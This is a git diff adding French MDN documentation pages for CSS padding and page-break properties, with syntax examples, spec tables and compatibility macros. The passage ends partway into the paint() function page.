+   <td>{{SpecName('CSS2.1', 'box.html#padding-properties', 'padding-right')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{Specname('CSS1', '#padding-right', 'padding-right')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.padding-right")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte">Le modèle de boîtes CSS</a></li>
+ <li>La propriété raccourcie {{cssxref("padding")}} qui permet de paramétrer <code>padding-right</code>, {{cssxref("padding-top")}}, {{cssxref("padding-bottom")}} et {{cssxref("padding-left")}}.</li>
+</ul>
diff --git a/files/fr/web/css/padding-top/index.html b/files/fr/web/css/padding-top/index.html
new file mode 100644
index 0000000000..076e4a9f04
--- /dev/null
+++ b/files/fr/web/css/padding-top/index.html
@@ -0,0 +1,122 @@
+---
+title: padding-top
+slug: Web/CSS/padding-top
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/padding-top
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>padding-top</code></strong> d'un élément ajuste la hauteur de la boîte de remplissage (<em>padding</em>) en haut de l'élément.</p>
+
+<p>La <a href="/fr/Apprendre/CSS/Les_bases/Le_mod%C3%A8le_de_bo%C3%AEte">zone de remplissage</a> correspond à l'espace entre le contenu et la bordure. Contrairement à {{cssxref("margin-top")}}, <code>padding-top</code> ne peut pas recevoir de valeurs négatives.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding-top.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La propriété raccourcie {{cssxref("padding")}} permet de paramétrer les dimensions des quatre côtés de cette boîte (y compris <code>padding-top</code> donc).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+padding-top: 0.5em;
+padding-top: 0;
+padding-top: 2cm;
+
+/* Valeurs de proportions */
+/* Type &lt;percentage&gt;      */
+padding-top: 10%;
+
+/* Valeurs globales */
+padding-top: inherit;
+padding-top: initial;
+padding-top: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Cette valeur définit une hauteur positive. Voir {{cssxref("&lt;length&gt;")}} pour plus de détails.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un pourcentage en rapport avec la largeur du bloc englobant. Voir {{cssxref("&lt;percentage&gt;")}} pour plus de détails.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="padd"&gt;
+  Elle n’avait pas bu la moitié de la bouteille,
+  que sa tête touchait au plafond et qu’elle fut
+  forcée de se baisser pour ne pas se casser le
+  cou.
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.padd {
+  padding-top: 5em;
+  border: solid 1px;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-padding', 'padding-top')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Aucun changement depuis {{SpecName('CSS2.1', 'box.html#padding-properties', 'padding-top')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'padding-top')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>padding-top</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#padding-properties', 'padding-top')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucun changement depuis {{Specname('CSS1', '#padding-top', 'padding-top')}}.</td>
+  </tr>
+  <tr>
+   <td>{{Specname('CSS1', '#padding-top', 'padding-top')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.padding-top")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte">Le modèle de boîtes CSS</a></li>
+ <li>La propriété raccourcie {{cssxref("padding")}} qui permet de paramétrer <code>padding-top</code>, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}} et {{cssxref("padding-left")}}.</li>
+</ul>
diff --git a/files/fr/web/css/padding/index.html b/files/fr/web/css/padding/index.html
new file mode 100644
index 0000000000..e5b53a52e6
--- /dev/null
+++ b/files/fr/web/css/padding/index.html
@@ -0,0 +1,148 @@
+---
+title: padding
+slug: Web/CSS/padding
+tags:
+  - CSS
+  - Propriété
+  - Propriété raccourcie
+  - Reference
+translation_of: Web/CSS/padding
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>padding</code></strong> est <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">une propriété raccourcie</a> qui permet de définir les différents écarts de remplissage sur les quatre côtés d'un élément (cf. <a href="/fr/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte#Les_propriétés_des_boîtes">les boîtes CSS</a>). Elle synthétise {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, {{cssxref("padding-left")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/padding.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La <a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte" title="http://developer.mozilla.org/en/CSS/Box_model#padding">zone de remplissage</a> correspond à l'espace entre le contenu de l'élément et sa bordure. Les valeurs négatives ne sont pas autorisées.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Le <em>padding</em> permet de créer un espace supplémentaire à l'intérieur d'un élément. La marge ({{cssxref("margin")}}) permet quant à elle de créer un espace supplémentaire à l'extérieur de l'élément.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* On applique la même valeur aux quatre côtés */
+padding: 1em;
+
+/* vertical | horizontal */
+padding: 5% 10%;
+
+/* haut | horizontal | bas */
+padding: 1em 2em 2em;
+
+/* haut | droit | bas | gauche */
+padding: 5px 1em 0 2em;
+
+/* Valeurs globales */
+padding: inherit;
+padding: initial;
+padding: unset;
+</pre>
+
+<p>Selon la quantité de valeurs utilisées, on a un effet différent. Chaque valeur peut être une longueur (<code><a href="#length">&lt;length&gt;</a></code>) ou un pourcentage (<code><a href="#percentage">&lt;percentage&gt;</a></code>). Les valeurs négatives ne sont pas autorisées.</p>
+
+<ul>
+ <li><strong>Une valeur</strong> applique le même écart aux 4 côtés.</li>
+ <li><strong>Deux valeurs</strong> appliquent le premier écart en haut et en bas et le second sur les côtés droit et gauche.</li>
+ <li><strong>Trois valeurs</strong> appliquent le premier écart en haut, le deuxième à droite et à gauche et le troisième en bas.</li>
+ <li><strong>Quatre valeurs</strong> appliquent le premier écart en haut, le deuxième à droite, le troisième en bas et le quatrième à gauche.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Les valeurs permettent de définir une, deux, trois ou quatre valeurs pour les écarts de remplissage. On peut utiliser des valeurs de type :</p>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Définit un écart fixe. Voir la page {{cssxref("&lt;length&gt;")}} sur les valeurs de ce type.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Définit un écart relatif à la <strong>largeur</strong> du bloc englobant. Voir la page {{cssxref("&lt;percentage&gt;")}} pour plus d'informations sur les valeurs de ce type.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;h4&gt;Coucou le monde !&lt;/h4&gt;
+&lt;h3&gt;Le remplissage n'est pas le même ici.&lt;/h3&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">h4 {
+  background-color: green;
+  padding: 50px 20px 20px 50px;
+}
+
+h3 {
+  background-color: blue;
+  padding: 400px 5%;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples',"100%","100%")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-padding', 'padding')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'padding')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>padding</code> peut être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-padding', 'padding')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{Specname('CSS1', '#padding', 'padding')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.padding")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="internal" href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte" title="en/CSS/box model">CSS : Le modèle de boîtes</a></li>
+ <li>Les quatres propriétés détaillées synthétisées par <code>padding</code> :
+  <ul>
+   <li>{{cssxref("padding-top")}}</li>
+   <li>{{cssxref("padding-right")}}</li>
+   <li>{{cssxref("padding-bottom")}}</li>
+   <li>{{cssxref("padding-left")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/page-break-after/index.html b/files/fr/web/css/page-break-after/index.html
new file mode 100644
index 0000000000..3d88e13bf6
--- /dev/null
+++ b/files/fr/web/css/page-break-after/index.html
@@ -0,0 +1,153 @@
+---
+title: page-break-after
+slug: Web/CSS/page-break-after
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/page-break-after
+---
+<div>{{CSSRef}}</div>
+
+<div class="blockIndicator warning">
+<p><strong>Attention !</strong> Cette propriété a été remplacée par la propriété {{cssxref("break-after")}}.</p>
+</div>
+
+<p>La propriété CSS <strong><code>page-break-after</code></strong> permet d'ajuster les sauts de page placés <em>après</em> l'élément courant.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+page-break-after: auto;
+page-break-after: always;
+page-break-after: avoid;
+page-break-after: left;
+page-break-after: right;
+page-break-after: recto;
+page-break-after: verso;
+
+/* Valeurs globales */
+page-break-after: inherit;
+page-break-after: initial;
+page-break-after: unset;
+</pre>
+
+<p>Cette propriété s'applique aux éléments de blocs qui génèrent une boîte. Elle ne s'appliquera pas à un {{HTMLElement("div")}} qui ne génère pas de boîte.</p>
+
+<h2 id="Synonymes_avec_break-after">Synonymes avec <code>break-after</code></h2>
+
+<p>La propriété <code>page-break-after</code> est désormais remplacée par {{cssxref("break-after")}}.</p>
+
+<p>Si pour des raisons de compatibilité, on doit traiter <code>page-break-after</code> comme synonyme, on pourra utiliser le tableau de correspondance des valeurs suivant :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><code>page-break-after</code></th>
+   <th scope="col"><code>break-after</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>auto</code></td>
+   <td><code>auto</code></td>
+  </tr>
+  <tr>
+   <td><code>left</code></td>
+   <td><code>left</code></td>
+  </tr>
+  <tr>
+   <td><code>right</code></td>
+   <td><code>right</code></td>
+  </tr>
+  <tr>
+   <td><code>avoid</code></td>
+   <td><code>avoid</code></td>
+  </tr>
+  <tr>
+   <td><code>always</code></td>
+   <td><code>page</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Valeur initiale. Les sauts de page sont automatiques (ni forcés, ni interdits).</dd>
+ <dt><code>always</code></dt>
+ <dd>Le saut de page est toujours forcé après l'élément.</dd>
+ <dt><code>avoid</code></dt>
+ <dd>Les sauts de page sont évités après l'élément.</dd>
+ <dt><code>left</code></dt>
+ <dd>Le saut de page est forcé après l'élément afin que la prochaine page soit mise en forme comme une page gauche.</dd>
+ <dt><code>right</code></dt>
+ <dd>Le saut de page est forcé après l'élément afin que la prochaine page soit mise en forme comme une page droite.</dd>
+ <dt><code>recto</code> {{experimental_inline}}</dt>
+ <dd>Si la page progresse de gauche à droite, cette valeur est équivalente à <code>right</code>. Si la page progresse de droite à gauche, elle est synonyme de <code>left</code>.</dd>
+ <dt><code>verso</code> {{experimental_inline}}</dt>
+ <dd>Si la page progresse de gauche à droite, cette valeur est équivalente à <code>left</code>. Si la page progresse de droite à gauche, elle est synonyme de <code>right</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">/* On force une nouvelle page à la suite */
+/* d'une note en bas de page             */
+div.footnotes {
+  page-break-after: always;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#page', 'recto and verso')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>Ajout des valeurs <code>recto</code> et <code>verso</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Paged Media', '#page-break-after', 'page-break-after')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td>Cette propriété peut désormais être étendues aux lignes de tableau et aux groupe de lignes de tableau.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#propdef-page-break-after', 'page-break-after')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.page-break-after")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("break-before")}}</li>
+ <li>{{cssxref("break-after")}}</li>
+ <li>{{cssxref("break-inside")}}</li>
+ <li>{{cssxref("page-break-before")}}</li>
+ <li>{{cssxref("page-break-inside")}}</li>
+ <li>{{cssxref("orphans")}}</li>
+ <li>{{cssxref("widows")}}</li>
+</ul>
diff --git a/files/fr/web/css/page-break-before/index.html b/files/fr/web/css/page-break-before/index.html
new file mode 100644
index 0000000000..d6e1df056d
--- /dev/null
+++ b/files/fr/web/css/page-break-before/index.html
@@ -0,0 +1,151 @@
+---
+title: page-break-before
+slug: Web/CSS/page-break-before
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/page-break-before
+---
+<div>{{CSSRef}}</div>
+
+<div class="blockIndicator warning">
+<p><strong>Attention !</strong> Cette propriété a été remplacée par la propriété {{cssxref("break-before")}}.</p>
+</div>
+
+<p>La propriété CSS <strong><code>page-break-before</code></strong> permet d'ajuster les sauts de page placés <em>avant</em> l'élément courant.Cette propriété s'applique aux éléments de blocs qui génèrent une boîte. Elle ne s'appliquera pas à un {{HTMLElement("div")}} qui ne génère pas de boîte.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+page-break-before: auto;
+page-break-before: always;
+page-break-before: avoid;
+page-break-before: left;
+page-break-before: right;
+page-break-before: recto;
+page-break-before: verso;
+
+/* Valeurs globales */
+page-break-before: inherit;
+page-break-before: initial;
+page-break-before: unset;
+</pre>
+
+<h2 id="Synonymes_avec_break-before">Synonymes avec <code>break-before</code></h2>
+
+<p>La propriété <code>page-break-before</code> est désormais remplacée par {{cssxref("break-before")}}.</p>
+
+<p>Pour des raisons de compatibilité, si on traite <code>page-break-before</code> comme un synonyme de <code>break-before</code>, on pourra utiliser le tableau de correspondance suivant :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><code>page-break-before</code></th>
+   <th scope="col"><code>break-before</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>auto</code></td>
+   <td><code>auto</code></td>
+  </tr>
+  <tr>
+   <td><code>left</code></td>
+   <td><code>left</code></td>
+  </tr>
+  <tr>
+   <td><code>right</code></td>
+   <td><code>right</code></td>
+  </tr>
+  <tr>
+   <td><code>avoid</code></td>
+   <td><code>avoid</code></td>
+  </tr>
+  <tr>
+   <td><code>always</code></td>
+   <td><code>page</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Valeur initiale. Les sauts de page sont automatiques (ni forcés, ni interdits).</dd>
+ <dt><code>always</code></dt>
+ <dd>Le saut de page est toujours forcé avant l'élément.</dd>
+ <dt><code>avoid</code></dt>
+ <dd>Les sauts de page sont évités avant l'élément.</dd>
+ <dt><code>left</code></dt>
+ <dd>Le saut de page est forcé avant l'élément afin que la prochaine page soit mise en forme comme une page gauche.</dd>
+ <dt><code>right</code></dt>
+ <dd>Le saut de page est forcé avant l'élément afin que la prochaine page soit mise en forme comme une page droite.</dd>
+ <dt><code>recto</code> {{experimental_inline}}</dt>
+ <dd>Si la page progresse de gauche à droite, cette valeur est équivalente à <code>right</code>. Si la page progresse de droite à gauche, elle est synonyme de <code>left</code>.</dd>
+ <dt><code>verso</code> {{experimental_inline}}</dt>
+ <dd>Si la page progresse de gauche à droite, cette valeur est équivalente à <code>left</code>. Si la page progresse de droite à gauche, elle est synonyme de <code>right</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">/* Pour éviter d'avoir un saut de page avant */
+/* une note dans un div                      */
+div.note {
+    page-break-before: avoid;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#logical-page', 'recto and verso')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>Ajout des valeurs <code>recto</code> et <code>verso</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Paged Media', '#page-break-before', 'page-break-before')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td>Cette propriété peut désormais être étendues aux lignes de tableau et aux groupe de lignes de tableau.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#propdef-page-break-before', 'page-break-before')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.page-break-before")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("break-before")}}</li>
+ <li>{{cssxref("break-after")}}</li>
+ <li>{{cssxref("break-inside")}}</li>
+ <li>{{cssxref("page-break-after")}}</li>
+ <li>{{cssxref("page-break-inside")}}</li>
+ <li>{{cssxref("orphans")}}</li>
+ <li>{{cssxref("widows")}}</li>
+</ul>
diff --git a/files/fr/web/css/page-break-inside/index.html b/files/fr/web/css/page-break-inside/index.html
new file mode 100644
index 0000000000..cf16f15c01
--- /dev/null
+++ b/files/fr/web/css/page-break-inside/index.html
@@ -0,0 +1,164 @@
+---
+title: page-break-inside
+slug: Web/CSS/page-break-inside
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/page-break-inside
+---
+<div>{{CSSRef}}</div>
+
+<div class="blockIndicator warning">
+<p><strong>Attention !</strong> Cette propriété a été remplacée par la propriété {{cssxref("break-inside")}}.</p>
+</div>
+
+<p>La propriété <strong><code>page-break-inside</code></strong> ajuste la façon dont sont appliqués les sauts de page au sein de l'élément courant.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+page-break-inside: auto;
+page-break-inside: avoid;
+
+/* Valeurs globales */
+page-break-inside: inherit;
+page-break-inside: initial;
+page-break-inside: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Valeur initiale. Les sauts de page sont automatiques (ni forcés, ni interdits).</dd>
+ <dt><code>avoid</code></dt>
+ <dd>L'agent utilisateur évite d'insérer un saut de page au sein de l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Alias_avec_break-inside">Alias avec <code>break-inside</code></h2>
+
+<p>La propriété <code>page-break-inside</code> a désormais été remplacée par la propriété {{cssxref("break-inside")}}.</p>
+
+<p>Pour des raisons de compatibilité, <code>page-break-inside</code> devrait être considérée par les navigateurs comme synonyme de <code>break-inside</code>. De cette façon, les sites utilisant <code>page-break-inside</code> pourront continuer de fonctionner. Voici un sous-ensemble des valeurs de cette propriété et des correspondances</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><code>page-break-inside</code></th>
+   <th scope="col"><code>break-inside</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>auto</code></td>
+   <td><code>auto</code></td>
+  </tr>
+  <tr>
+   <td><code>avoid</code></td>
+   <td><code>avoid</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="page"&gt;
+  &lt;p&gt;Un premier paragraphe.&lt;/p&gt;
+  &lt;section class="list"&gt;
+    &lt;span&gt;Une liste&lt;/span&gt;
+    &lt;ol&gt;
+      &lt;li&gt;Un&lt;/li&gt;
+&lt;!--       &lt;li&gt;Deux&lt;/li&gt; --&gt;
+    &lt;/ol&gt;
+  &lt;/section&gt;
+  &lt;ul&gt;
+    &lt;li&gt;Un&lt;/li&gt;
+&lt;!--     &lt;li&gt;Deux&lt;/li&gt; --&gt;
+  &lt;/ul&gt;
+  &lt;p&gt;Un deuxième paragraphe.&lt;/p&gt;
+  &lt;p&gt;Un troisième paragraphe, un peu plus long.&lt;/p&gt;
+  &lt;p&gt;Un quatrième paragraphe, un peu plus long voire plus long que le troisième.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.page {
+  background-color: #8cffa0;
+  height: 90px;
+  width: 200px;
+  columns: 1;
+  column-width: 100px;
+}
+
+.list, ol, ul, p {
+  break-inside: avoid;
+}
+
+p {
+  background-color: #8ca0ff;
+}
+
+ol, ul, .list {
+  margin: 0.5em 0;
+  display: block;
+  background-color: orange;
+}
+
+p:first-child {
+  margin-top: 0;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 400, 160)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Paged Media', '#page-break-inside', 'page-break-inside')}}</td>
+   <td>{{Spec2('CSS3 Paged Media')}}</td>
+   <td>Permet d'appliquer cette propriété sur plus d'éléments.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#propdef-page-break-inside', 'page-break-inside')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.page-break-inside")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("break-before")}}</li>
+ <li>{{cssxref("break-after")}}</li>
+ <li>{{cssxref("break-inside")}}</li>
+ <li>{{cssxref("page-break-after")}}</li>
+ <li>{{cssxref("page-break-before")}}</li>
+ <li>{{cssxref("orphans")}}</li>
+ <li>{{cssxref("widows")}}</li>
+</ul>
diff --git a/files/fr/web/css/paint()/index.html b/files/fr/web/css/paint()/index.html
new file mode 100644
index 0000000000..189965b358
--- /dev/null
+++ b/files/fr/web/css/paint()/index.html
@@ -0,0 +1,111 @@
+---
+title: paint()
+slug: Web/CSS/paint()
+tags:
+  - CSS
+  - Fonction
+  - Houdini
+  - Reference
+  - Web
+translation_of: Web/CSS/paint()
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La fonction CSS <strong><code>paint()</code></strong> définit une {{cssxref("&lt;image&gt;")}} dont la valeur est générée par un <em>PaintWorklet</em>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">paint(<var>workletName</var>, <var>parameters</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code><var>workletName</var></code></dt>
+ <dd>Le nom du <em>worklet</em> enregistré.</dd>
+ <dt><code><var>parameters</var></code></dt>
+ <dd>Des paramètres supplémentaires optionnels, passés aux <em>paintWorklet</em>.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Exemples</h2>
+
+<p>Il est possible de passer des arguments supplémentaires grâce à la fonction CSS <code>paint()</code>. Dans cet exemple, on passe deux arguments : le premier indiquant si l'arrière-plan est rempli ou si on utilise juste son contour et le second indiquant la largeur de ce contour :</p>
+
